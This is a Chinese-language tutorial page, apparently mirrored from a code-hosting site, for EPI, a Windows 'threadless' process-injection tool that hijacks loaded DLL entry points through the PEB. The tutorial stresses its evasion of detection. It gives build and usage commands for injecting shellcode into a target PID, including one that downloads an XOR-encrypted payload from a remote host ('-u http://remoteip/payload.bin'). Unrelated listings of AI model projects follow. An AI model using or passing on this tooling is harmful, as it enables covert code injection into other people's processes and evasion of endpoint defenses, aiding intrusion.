EPI 项目使用与启动教程
1. 项目介绍
EPI(Entry Point Injection)是一个利用新的无线程进程注入技术,通过劫持已加载的 DLL 文件的入口点来实现进程注入的工具。该工具通过修改目标进程的 PEB(Process Environment Block),使得已加载的 DLL 文件的入口点被重定向到注入的壳代码(默认情况下是转换为 sRDI 的 Loader)。当进程自然创建新线程或线程退出时,所有已加载模块的入口点都会被调用,包括我们的注入壳代码。
EPI 的主要优势包括:
- 支持无线程或有线程执行模式。
- 不进行钩子操作(即不对 RX 内存区域进行 JMP 或 CALL 指令的修补)。
- 在已知 DLL 的 RX 内存页上不生成私有内存区域。
- 不需要 RWX 内存权限。
- 目标进程可以继续其常规执行。
- 没有新线程的起始地址指向我们的壳代码。
2. 项目快速启动
环境准备
在编译前,需要设置 LITCRYPT 加密密钥环境变量。打开命令行,执行以下命令:
set LITCRYPT_ENCRYPT_KEY="setarandomkeyeachtime"
编译项目
使用工具默认配置
编译 EPI 项目:
cargo build --release
编译完成后,运行工具:
epi.exe -h
无 Loader - 自定义 payload
如果你希望直接执行自定义的壳代码而不使用 Loader(强烈不推荐),运行 builder.py 脚本并指定 payload 文件的完整路径:
python3 builder.py -p c:\path\to\payload.bin
然后运行 epi.exe:
epi.exe -h
使用 Loader 和自定义 payload
这是推荐的用法,因为它允许你以最可靠的方式完全自定义执行。要构建工具,运行 builder.py 脚本并使用 -l 标志指示使用 Loader。如果你想要在 Loader 中启用间接系统调用,可以使用 -i 标志。
python3 builder.py -l -p c:\path\to\payload.bin [-i]
编译完成后,注入器即可使用:
epi.exe -p <PID> [flags]
如果你不想在最终二进制中嵌入最终的 PIC 代码,可以加密它(使用简单的 XOR 加密),通过 -d 标志传递给 builder.py,然后通过 HTTP 直接下载到注入器进程内存中。
python3 builder.py -l -p c:\path\to\payload.bin -d [-i]
加密后的 payload 将被写入 payload 目录。加密密钥与 LITCRYPT_ENCRYPT_KEY 环境变量相同。这个值必须传递给 epi.exe 才能在运行时解密 payload:
epi.exe -p <PID> -u http://remoteip/payload.bin -k setarandomkeyeachtime [flags]
基本使用
传递目标进程的 PID 给工具,并等待线程的创建或退出:
epi.exe -p 1337
如果需要启用 DEBUG 权限以进行注入,可以使用 -d 标志。启用注入器的间接系统调用也可以通过 -i 标志实现。
epi.exe -p 1337 -d -i
如果你不想等待自然创建新线程,可以使用 -f 标志强制创建一个新线程。
epi.exe -p 1337 -f
最后,可以通过发送 WM_QUIT 消息到目标进程的所有线程来强制执行注入的壳代码。
epi.exe -p 1337 -s
3. 应用案例和最佳实践
(此处可以添加具体的应用案例和最佳实践,例如如何在特定场景下使用 EPI,如何调整配置以适应不同的需求等。)
4. 典型生态项目
(此处可以介绍与 EPI 相关的生态项目,例如其他进程注入工具、安全防护工具等,以及如何将它们与 EPI 结合使用。)
ERNIE-4.5-VL-28B-A3B-ThinkingERNIE-4.5-VL-28B-A3B-Thinking 是 ERNIE-4.5-VL-28B-A3B 架构的重大升级,通过中期大规模视觉-语言推理数据训练,显著提升了模型的表征能力和模态对齐,实现了多模态推理能力的突破性飞跃Python00
unified-cache-managementUnified Cache Manager(推理记忆数据管理器),是一款以KV Cache为中心的推理加速套件,其融合了多类型缓存加速算法工具,分级管理并持久化推理过程中产生的KV Cache记忆数据,扩大推理上下文窗口,以实现高吞吐、低时延的推理体验,降低每Token推理成本。Python03
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
Spark-Prover-7BSpark-Prover-7B is a 7B-parameter large language model developed by iFLYTEK for automated theorem proving in Lean4. It generates complete formal proofs for mathematical theorems using a three-stage training framework combining pre-training, supervised fine-tuning, and reinforcement learning. The model achieves strong formal reasoning performance and state-of-the-art results across multiple theorem-proving benchmarksPython00
MiniCPM-V-4_5MiniCPM-V 4.5 是 MiniCPM-V 系列中最新且功能最强的模型。该模型基于 Qwen3-8B 和 SigLIP2-400M 构建,总参数量为 80 亿。与之前的 MiniCPM-V 和 MiniCPM-o 模型相比,它在性能上有显著提升,并引入了新的实用功能Python00
Spark-Formalizer-7BSpark-Formalizer-7B is a 7B-parameter large language model by iFLYTEK for mathematical auto-formalization. It translates natural-language math problems into precise Lean4 formal statements, achieving high accuracy and logical consistency. The model is trained with a two-stage strategy combining large-scale pre-training and supervised fine-tuning for robust formal reasoning.Python00
GOT-OCR-2.0-hf阶跃星辰StepFun推出的GOT-OCR-2.0-hf是一款强大的多语言OCR开源模型,支持从普通文档到复杂场景的文字识别。它能精准处理表格、图表、数学公式、几何图形甚至乐谱等特殊内容,输出结果可通过第三方工具渲染成多种格式。模型支持1024×1024高分辨率输入,具备多页批量处理、动态分块识别和交互式区域选择等创新功能,用户可通过坐标或颜色指定识别区域。基于Apache 2.0协议开源,提供Hugging Face演示和完整代码,适用于学术研究到工业应用的广泛场景,为OCR领域带来突破性解决方案。00- HHowToCook程序员在家做饭方法指南。Programmer's guide about how to cook at home (Chinese only).Dockerfile015
Spark-Scilit-X1-13B科大讯飞Spark Scilit-X1-13B基于最新一代科大讯飞基础模型,并针对源自科学文献的多项核心任务进行了训练。作为一款专为学术研究场景打造的大型语言模型,它在论文辅助阅读、学术翻译、英语润色和评论生成等方面均表现出色,旨在为研究人员、教师和学生提供高效、精准的智能辅助。Python00- PpathwayPathway is an open framework for high-throughput and low-latency real-time data processing.Python00